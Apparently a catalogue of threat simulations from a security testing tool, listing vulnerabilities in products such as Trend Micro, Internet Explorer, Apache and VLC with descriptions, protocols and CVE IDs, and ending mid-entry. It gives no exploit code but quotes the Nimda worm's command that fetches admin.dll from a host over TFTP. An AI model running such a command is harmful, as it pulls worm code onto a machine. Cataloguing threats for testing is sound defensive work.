Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise storage.pm page. The vulnerability is due to insufficient validation of the user-supplied role and device_id parameters. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of the root.
Protocol Type:	HTTPS, IPv6
Threat File Name:	quintessential_pls_dos.xml
Executive Description:	Quintessential Player <= 4.50.1.82 Playlist Denial Of Service Vulnerability
Detailed Description:	This threat uses a malicious pls file to cause a denial of service condition in vulnerable Quintessential Player software. Quintessential Player is a client application that typically retrieves PLS files from web servers listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130207-01_IBM_Java_Multiple_Packages_Sandbox_Breach_IPv6.xml
Executive Description:	IBM Java Multiple Packages Sandbox Breach(IPV6 Version)
Detailed Description:	A sandbox breach vulnerability exists in IBM Java. The vulnerability is due to insecure use of certain methods in java.lang.class by IBM Java packages. An unauthenticated remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. Successful exploitation can result in the execution of arbitrary Java code outside the sandbox.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-4822
OSVDB:	87302
Threat File Name:	fuzz-TFTP_RRQ_MAIL_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_MAIL_formatn.xml
Detailed Description:	Fuzzes ModeNullTerm field by appending %n to mail with ranging sizes. OpCode is RRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	FSC20090512-04_Microsoft_Office_PowerPoint_File_Handling_Integer_Overflow.xml
Executive Description:	Microsoft Office PowerPoint File Handling Integer Overflow
Detailed Description:	A heap-based buffer overflow vulnerability exists in Microsoft Office PowerPoint. This vulnerability is due to an integer overflow error when allocating space for a number of records of a specific type. A remote, unauthenticated attacker may leverage this vulnerability, via a specially crafted PowerPoint file, to create a denial of service condition of the affected application, or inject and execute arbitrary code on the target host. In an attack case where code injection is not successful, the target application will terminate or stop responding. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with privileges of the logged in user.
Protocol Type:	HTTP/HTTPS/FTP/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0221
Threat Package:	Standard
Threat File Name:	TSL20170502-01_Intel_Active_Management_Technology_Remote_Privilege_Escalation.xml
Executive Description:	Intel Active Management Technology Remote Privilege Escalation
Detailed Description:	A remote privilege escalation vulnerability has been reported in Intel Active Management Technology (AMT) and the Intel Standard Manageability (ISM) and Intel Small Business Technology (SBT) variants. The vulnerability is due to improper handling of digest access authentication over HTTP. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the target system. Successful exploitation allows an unprivileged attacker to gain administrative privileges over the management component of the target system.

Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5689
Threat File Name:	fuzz-TFTP_RRQ_NETASCII_formats.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RRQ_NETASCII_formats.xml
Detailed Description:	Fuzzes Mode field by appending %s to netascii with ranging sizes. OpCode is RRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	TSL20170330-05_Trend_Micro_IWSVA_LogSettingHandler_doPostMountDevice_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA LogSettingHandler doPostMountDevice Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the /rest/commonlog/log_setting/mount_device URI. A remote, unauthenticated attacker can exploit this vulnerability by sending maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the root.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	TSL20150916-06_GE_MDS_PulseNET_FileDownloadServlet_Directory_Traversal.xml
Executive Description:	GE MDS PulseNET FileDownloadServlet Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in the GE MDS PulseNET products. The vulnerability is due to insufficient validation in FileDownloadServlet. By sending crafted HTTP requests that contains directory traversal characters, an unauthenticated remote attacker can exploit this vulnerability to read and then delete an arbitrary file on the system in the security context of SYSTEM. Tester should set the variable \$destPort to 8080 before test.
Protocol Type:	HTTP
CVEID:	CVE-2015-6459
Threat File Name:	TSL20130611-12_Microsoft_Internet_Explorer_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer Use After Free [IPv6, Version]
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP, HTTPS
CVEID:	CVE-2013-3111
OSVDB:	94106
Threat File Name:	TSL20170307-02_Trend_Micro_Control_Manager_lang_Parameter_Arbitrary_File_Inclusion_IPv6.xml
Executive Description:	Trend Micro Control Manager lang Parameter Arbitrary File Inclusion (IPv6 Version)
Detailed Description:	An arbitrary file inclusion vulnerability has been reported in Trend Micro Control Manager. This vulnerability is caused by improper sanitization of directory traversal characters(..) by modDLPViolationCnt_drildown.php and modDLPTemplateMatch_drildown.php. A remote, unauthenticated attacker could exploit this vulnerability by importing and running an attacker controlled script. Successful exploitation results in arbitrary code execution under the security context the iUSR user.
Protocol Type:	HTTPS,IPv6
Threat File Name:	fuzz-SMTP-HELO_Parameter_hash.xml
Executive Description:	Fuzz SMTP HELO verb with #
Detailed Description:	Fuzzes the SMTP HELO Parameter with # from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	vlc_fmt_ppc.xml
Executive Description:	VLC Media Player UDP URL Handler Format String Vulnerability (PPC)
Detailed Description:	This threat simulates a client requesting a media file, and the server replying with a maliciously constructed m3u file. This file will trigger a format string vulnerability in the UDP URL handler in the popular VLC media player. The transport of the m3u file is done via HTTP, which generally runs on port 80. The payload of this threat is for PPC based Macs.
Protocol Type:	HTTP
CVEID:	CVE-2007-0017
Threat Package:	Standard
Threat File Name:	FSC20081209-23_Microsoft_Visual_Basic_Hierarchical_FlexGrid_ActiveX_Control_Code_Execution_IPv6.xml
Executive Description:	Microsoft Visual Basic Hierarchical FlexGrid ActiveX Control Code Execution (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in multiple Microsoft products. The vulnerability is due to a boundary error in an animation ActiveX control while opening a specially crafted audio/video file. Remote attackers can exploit this vulnerability by enticing the target user to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application (IE) may terminate as a result of invalid memory access. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4254
Threat Package:	Standard
Threat File Name:	FSC20070717-18_CA_Alert_Notification_Server_RPC_Request_Buffer_Overflow.xml
Executive Description:	CA Alert Notification Server RPC Request Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way CA Alert Notification Server handles RPC requests. The vulnerability is due to lack of boundary protection while processing RPC calls. A remote attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System.
Protocol Type:	SMB

Threat Package:	Standard
Threat File Name:	cybuzu_sqli_IPv6.xml
Executive Description:	Cybuzu Garoon 2.1.0 SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Cybuzu Garoon is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	maplap_rfi_IPv6.xml
Executive Description:	MapTools MapLab Params.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MapTools is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sipunknownrequire_IPv6.xml
Executive Description:	SIPPING: Unknown Require and Proxy-Require (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message with unknown values in Require: and Proxy-Require: headers. This is technically valid but because it is unexpected it may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20100420-03_VMware_Remote_Console_HOST_and_MOID_Format_String_Code_Execution_IPv6.xml
Executive Description:	VMware Remote Console HOST and MOID Format String Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in VMware Remote Console (VMrc). The flaw is due to a format string error in the VMrc browser plug-in on Windows-based platforms. This may allow remote attackers to execute arbitrary code by enticing the target user to open a maliciously crafted HTML document. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. If code execution is not successful, a denial of service condition may occur on the target system. (IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2009-3732
Threat Package:	Standard
Threat File Name:	nimda17.xml
Executive Description:	Nimda Stage 2
Detailed Description:	This threat is the URL for Nimda to connect to a previously infected machine and download a copy of itself. The command issued is tftp -i 10.2.3.4 GET admin.dll admin.dll
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20170713-06_Apache_httpd_ap_find_token_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Apache httpd ap_find_token Out of Bounds Read (IPv6 Version)
Detailed Description:	An out-of-bounds read vulnerability has been reported in Apache HTTP server. This vulnerability is due to improper token list parsing in the ap_find_token() function. A remote, unauthenticated attacker could exploit the vulnerability by sending maliciously crafted HTTP request to the affected server. Successful exploitation of the vulnerability could lead to denial of service conditions.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-7668
Threat File Name:	TSL20131112-11_Microsoft_Internet_Explorer_Print_Preview_Information_Disclosure.xml
Executive Description:	Microsoft Internet Explorer Print Preview Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer's print preview function handles certain crafted URLs. This can allow an attacker to discover information from any page the victim is viewing.</para><para>A remote attacker could exploit this vulnerability by enticing a user to view a specially crafted web page. This vulnerability may also require enticing the victim to print preview the page, depending on Internet Explorer settings. Successful exploitation could result in page information being disclosed.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3908
OSVDB:	99644
Threat File Name:	philboard_sqli.xml
Executive Description:	Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Philboard is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20141209-28_SAP_SQL_Anywhere_NET_Data_Provider_Column_Alias_Buffer_Overflow_IPv6.xml
Executive Description:	SAP SQL Anywhere .NET Data Provider Column Alias Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in SAP SQL Anywhere .NET Data Provider. The vulnerability is caused by insufficient boundary checks in the handling of column aliases. If an application allows untrusted input to be used as the column alias in an SQL query, by sending crafted requests to the application, an attacker can overflow a stack-based buffer. This could possibly lead to arbitrary code execution in the context of the application.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-9264
OSVDB:	115624
Threat File Name:	TSL20170209-07_Trend_Micro_Control_Manager_download.php_Information_Disclosure_IPv6.xml
Executive Description:	Trend Micro Control Manager download.php Information Disclosure (IPv6 Version)

Detailed Description:	An information disclosure vulnerability exists in Trend Micro Control Manager. The vulnerability is due to security misconfiguration which allows access to the unreferenced download.php file, which in turn allow reading of the arbitrary files. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could result in an arbitrary file read from the target server.
Protocol Type:	HTTPS, IPv6
Threat File Name:	ie7_beta_dos_sound.xml
Executive Description:	Internet Explorer BGSOUND DOS
Detailed Description:	This threat causes a denial of service and possible stack overflow on Internet Explorer 7 beta 2. This is done by specifying a BGSOUND property tag with 344 dashes. This threat typically comes from web servers, which listen on port 80. This threat is a client side attack that comes from the Virtual Server.
Protocol Type:	HTTP
CVEID:	CVE-2006-0544
Threat Package:	Standard
Threat File Name:	TSL20170711-25_Microsoft_Internet_Explorer_CVE-2017-8594_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2017-8594 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption exists in Microsoft Internet Explorer. This vulnerability is due to improper use of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-8594
Threat File Name:	TSL20170111-03_HPE_Operations_Orchestration_Insecure_Deserialization_IPv6.xml
Executive Description:	HPE Operations Orchestration Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability has been reported in HPE Operations Orchestration. The vulnerability is due to the deserialization of untrusted data in several servlets used for backwards compatibility with older API versions. A remote, unauthenticated attacker can exploit this vulnerability by sending crafted serialized data to the target application. Successful exploitation could result in arbitrary code execution in the context of the application.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-8519
Threat File Name:	phplistpro_cmi_b.xml
Executive Description:	phplistPro editsite.php returnpath Variable Remote File Inclusion
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phplistPro is a web based application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-DELETE_PrependedHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP DELETE with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	cyrus_imap_login_IPv6.xml
Executive Description:	Cyrus imapd LOGIN Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the LOGIN IMAP command on a Cyrus IMAP server. Can be used for remote access to the server. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2002-1580
OSVDB:	14093
Threat Package:	Standard
Threat File Name:	TSL20160119-31_Oracle_Application_Testing_Suite_DownloadServlet_scriptPath_Directory_Traversal.xml
Executive Description:	Oracle Application Testing Suite DownloadServlet scriptPath Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/otm/download" URI with parameter scriptPath A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP
CVEID:	CVE-2016-0484
Threat File Name:	fuzz-TFTP_Filename_formatn_RRQ.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formatn_RRQ.xml
Detailed Description:	Fuzzes Filename field by appending one or more of %n to the filename. OpCode is RRQ
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	cisco_ips_ssl_crash.xml
Executive Description:	Cisco IPS SSL Heap Corruption
Detailed Description:	This threat sends a malformed SSL message to the management port of a Cisco IPS which causes a heap corruption error in the SSL parser. This attack typically goes to port 443.
Protocol Type:	HTTPS
CVEID:	CVE-2006-4910
OSVDB:	29037
Threat Package:	Standard
Threat File Name:	TSL20140416-19_Oracle_Data_Quality_PostcardPreviewInt_onclose_Untrusted_Pointer_Dereference.xml
Executive Description:	Oracle Data Quality PostcardPreviewInt onclose Untrusted Pointer Dereference

Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSSL2.TransformerTools.PostcardPreviewInt ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-2415
OSVDB:	105821
Threat File Name:	msie_xmlcore_cmi_IPv6.xml
Executive Description:	MS Internet Explorer 6/7 (XML Core Services) Remote Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the setRequestHeader method in the XMLHttpRequest (XML HTTP) ActiveX Control 4.0 in Microsoft XML Core Services 4.0 on Windows, when accessed by Internet Explorer, allows remote code execution on the client host. This affects Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5745
Threat Package:	Standard
Threat File Name:	firefoxDOS.xml
Executive Description:	Firefox Function(){} Denial Of Service
Detailed Description:	This threat sends a malicious piece of Javascript which will cause Mozilla Firefox and related browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-2114
OSVDB:	17696
Threat Package:	Standard
Threat File Name:	FSC20050809-01_Microsoft_Windows_Plug_and_Play_Service_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Plug and Play Service Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack-based buffer overflow vulnerability in the Microsoft Windows Plug and Play service. The vulnerability is the result of a failure to perform proper boundary checking when processing messages. A remote attacker can exploit this vulnerability to cause a denial of service, or inject and execute arbitrary code on the target system with the privileges of the System account. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2005-1983
Threat Package:	Standard
Threat File Name:	TSL20130326-11_HP_Intelligent_Management_Center_ReportImgServlet_Information_Disclosure.xml
Executive Description:	HP Intelligent Management Center ReportImgServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the ReportImgServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the file contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5203
OSVDB:	91028
Threat File Name:	TSL20160922-01_HPE_Network_Automation_RMI_Registry_Insecure_Deserialization_IPv6.xml
Executive Description:	HPE Network Automation RMI Registry Insecure Deserialization (IPv6 Version)
Detailed Description:	An insecure deserialization vulnerability has been reported in the RMI registry of HPE Network Automation. The vulnerability is due to the deserialization of untrusted data. A remote attacker can exploit this vulnerability by sending a request with crafted serialized data to the exposed RMI registry. Successful exploitation would result in the execution of arbitrary code under the context of the RMI registry process.
Protocol Type:	RMI, IPv6
CVEID:	CVE-2016-4385
Threat File Name:	shadow_premod_rfi_IPv6.xml
Executive Description:	Premod Shadow Functions_Portal.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Premod Shadow is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140827-05_SolarWinds_Storage_Manager_AuthenticationFilter_Authentication_Bypass.xml
Executive Description:	SolarWinds Storage Manager AuthenticationFilter Authentication Bypass
Detailed Description:	An authentication bypass vulnerability exists in SolarWinds Storage Manager. The vulnerability is due to a flaw within the AuthenticationFilter class. A remote unauthenticated attacker could exploit this vulnerability by bypassing the authentication filter and uploading malicious scripts to the target. Successful exploitation could result in code execution under the context of the system. Tester should set variable \$destPort 9000 before test.
Protocol Type:	HTTP
OSVDB:	110483
Threat File Name:	FSC20100216-06_OpenOffice_org_XPM_File_Processing_Integer_Overflow.xml
Executive Description:	OpenOffice.org XPM File Processing Integer Overflow
Detailed Description:	An integer overflow vulnerability has been reported in OpenOffice. The vulnerability is due to a boundary error when the XPMReader::ReadXPM function in xpmread.cxx in OpenOffice.org processes XPM files. A remote unauthenticated attacker could leverage this vulnerability by enticing a target user to open a malicious XPM file with a vulnerable application. In a successful attack, it may result in a heap overflow leading to the possibility of code execution within the security context of the currently logged on user. In an unsuccessful attack, the target application could terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP/NFS

CVEID:	CVE-2009-2949
Threat Package:	Standard
Threat File Name:	TSL20161026-04_Joomla!_CMS_Policy_Bypass_and_Privilege_Escalation_Vulnerabilities.xml
Executive Description:	Joomla! CMS Policy Bypass and Privilege Escalation Vulnerabilities
Detailed Description:	Multiple vulnerabilities have been reported in Joomla! CMS. These vulnerabilities include privilege escalation and policy bypass. Using a deprecated function that does not perform sufficient input validation, a remote attacker can register on a target website where registration is disabled. In addition, an attacker can leverage the lack of sufficient input validation in the deprecated function to register with elevated privileges.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-8869
Threat File Name:	TSL20140715-10_HP_Intelligent_Management_Center_BIMS_UploadServlet_Information_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center BIMS UploadServlet Information Disclosure IPv6 version.
Detailed Description:	An information disclosure vulnerability exists in the BIMS add-in module of HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the UploadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system. Tester need to set variable \$destPort to 8080 or 8443 before test.
Protocol Type:	HTTP8080/HTTPS8443.IPV6
CVEID:	CVE-2014-2618
OSVDB:	109168
Threat File Name:	PortScanFIN.xml
Executive Description:	Portscan: FIN
Detailed Description:	This threat mimics the behaviour of a FIN scan used by tools such as nmap. A FIN scan sets the FIN bit. Open ports should ignore the probe, while a closed port should reply with a RST packet.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	TSL20140409-01_Microsoft_Internet_Explorer_CVE-2014-1753_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1753 Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-1753
OSVDB:	105526
Threat File Name:	TSL20120319-04_VideoLAN_VLC_Media_Player_MMS_Plugin_Stack_Buffer_Overflow.xml
Executive Description:	VideoLAN VLC Media Player MMS Plugin Stack Buffer Overflow
Detailed Description:	A stack buffer overflow exists in VLC Media Player. The vulnerability is due to lack of bounds checking while copying a hostname into a stack buffer in the MMS access plugin. A remote attacker can exploit this vulnerability by enticing a user to open a specially crafted URL with a vulnerable version of VLC Media Player. Successful exploitation may allow the attacker to execute arbitrary code on the target user's machine with the privileges of the VLC Media Player process.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB,NFS
CVEID:	CVE-2012-1775
Threat File Name:	phpnuke_sqli_a.xml
Executive Description:	PHPNuke "url" field SQL Injection Vulnerabilities
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. PHPNukie is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-3304
OSVDB:	20292
Threat File Name:	xcpphonehome.xml
Executive Description:	Sony XCP Rootkit Phone Home
Detailed Description:	This threat makes a HTTP request (normally to http://connected.sonymusic.com) for information about a CD in the same way that the Sony / First4Internet XCP copy protection rootkit does. Seeing this query indicates that a system has been infected with the rootkit.
Protocol Type:	HTTP
CVEID:	CVE-2005-3474
OSVDB:	20435
Threat Package:	Standard
Threat File Name:	FSC20040610-01_Apache_1_3_mod_proxy_Buffer_Overflow.xml
Executive Description:	Apache 1.3 mod_proxy Buffer Overflow
Detailed Description:	A vulnerability exists in the mod_proxy module of Apache 1.3, which can be used as a web proxy, reverse proxy, and/or cache. This module contains a heap-based buffer overflow that occurs while retrieving an HTTP response from a malicious server on behalf of a client. An attacker may use this vulnerability to trigger a denial of service on the vulnerable Apache server. There is also the possibility of remote code execution on some older operating system platforms. On most platforms, upon reception of a specially crafted response, the child process acting as a proxy for a client will terminate, closing any open TCP connections. As neither the parent Apache process nor any other child processes are affected, the denial of service condition only affects connections being handled by the process being attacked (possible only the attacking client). Other connections to the Apache server will be unaffected. On some older OpenBSD and FreeBSD distributions, the vulnerability can be exploited to execute code, due to the particulars of their implementation of the memcpy() function. In such cases, the behaviour of the compromised server depends on the nature of the exploit code.
Protocol Type:	HTTPTALT
CVEID:	CVE-2004-0492
Threat Package:	Standard

Threat File Name:	FSC20080710-09_Novell_eDirectory_LDAP_NULL_Search_Parameter_Buffer_Overflow.xml
Executive Description:	Novell eDirectory LDAP NULL Search Parameter Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Novell eDirectory. The flaw is due to incorrect calculation when allocating a heap buffer to store search parameters. An unauthenticated remote attacker could exploit this vulnerability by sending a crafted search request to the system. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the server process, normally System for Windows platforms, or root for Unix platforms.
Protocol Type:	LDAP
CVEID:	CVE-2008-1809
Threat Package:	Standard
Threat File Name:	TSL20130109-07_Ruby_on_Rails_XML_Processor_YAML_Deserialization_Code_Execution.xml
Executive Description:	Ruby on Rails XML Processor YAML Deserialization Code Execution
Detailed Description:	A code execution vulnerability has been reported in Ruby on Rails. The vulnerability is due to automatically casting values from user-provided YAML and Symbol strings to certain data types without validating the input. A remote unauthenticated attacker can exploit this vulnerability to execute arbitrary code within the context of the affected service.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0156
OSVDB:	89026
Threat File Name:	mercur_imap_rbof2_IPv6.xml
Executive Description:	Mercur Messaging 2005 IMAP (SUBSCRIBE) Remote Stack Overflow Vulnerability (IPv6 Version)
Detailed Description:	This treat sends a specially crafted SUBSCRIBE command to a Mercur Messaging 2005 IMAP server that may cause the execution of arbitrary code or a denial of service condition. Mercur Messaging 2005 IMAP server typically listens on port 143. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	albinator_cmi_IPv6.xml
Executive Description:	Albinator Multiple Remote File Include Vulnerabilities (IPv6 Version)
Detailed Description:	This threat uses a crafted HTTP GET command with a modified Config_rootdir to include arbitrary code from a local or remote path. Albinator is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2182
Threat Package:	Standard
Threat File Name:	TSL20150715-26_Microsoft_Internet_Explorer_CVE_2015_2391_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2391 Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2391
Threat File Name:	TSL20170302-08_Trend_Micro_SafeSync_for_Enterprise_storage.pm_discovery_iscsi_device_Command_Injection_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise storage.pm discovery_iscsi_device Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability exists in Trend Micro's SafeSync for Enterprise storage.pm page. The vulnerability is due to insufficient validation of the user-supplied parameters defining an iSCSI device to be discovered. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of root.
Protocol Type:	HTTPS,IPv6
Threat File Name:	ains_rfi.xml
Executive Description:	AINS 0.02b - Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. AINS is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0570
Threat Package:	Standard
Threat File Name:	FSC20101203-04_Apple_Safari_WebKit_Menu_Onchange_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari WebKit Menu Onchange Memory Corruption (IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Apple Safari. The vulnerability is due to memory corruption when processing thef onchange event when applied to Menus. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted web page. In attack scenarios where code execution is successful the behavior of the target machine would depend entirely on the intention of the injected code, which would run within the security context of the logged on user. In situations where code execution is not successful, the vulnerable application may terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2010-1814
Threat File Name:	maluinfo-rfi.xml
Executive Description:	Maluinfo PHPBB_Root_Path Parameter Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Maluinfo is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090522-05_Novell_GroupWise_Internet_Agent_SMTP_AUTH_LOGIN_Command_Buffer_Overflow.xml
Executive Description:	Novell GroupWise Internet Agent SMTP AUTH LOGIN Command Buffer Overflow

Detailed Description:	There exists a stack buffer overflow vulnerability in Novell GroupWise. The vulnerability is due to an error while processing specially crafted SMTP AUTH LOGIN requests. Remote attackers can exploit this vulnerability to execute arbitrary code on the target server. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute with the security privileges of the server. In an attack case where code injection is not successful, the affected process will terminate abnormally.
Protocol Type:	SMTP
CVEID:	CVE-2009-1636
Threat Package:	Standard
Threat File Name:	FSC20070917-14_OpenOffice_TIFF_File_Parsing_Integer_Overflow.xml
Executive Description:	OpenOffice TIFF File Parsing Integer Overflow
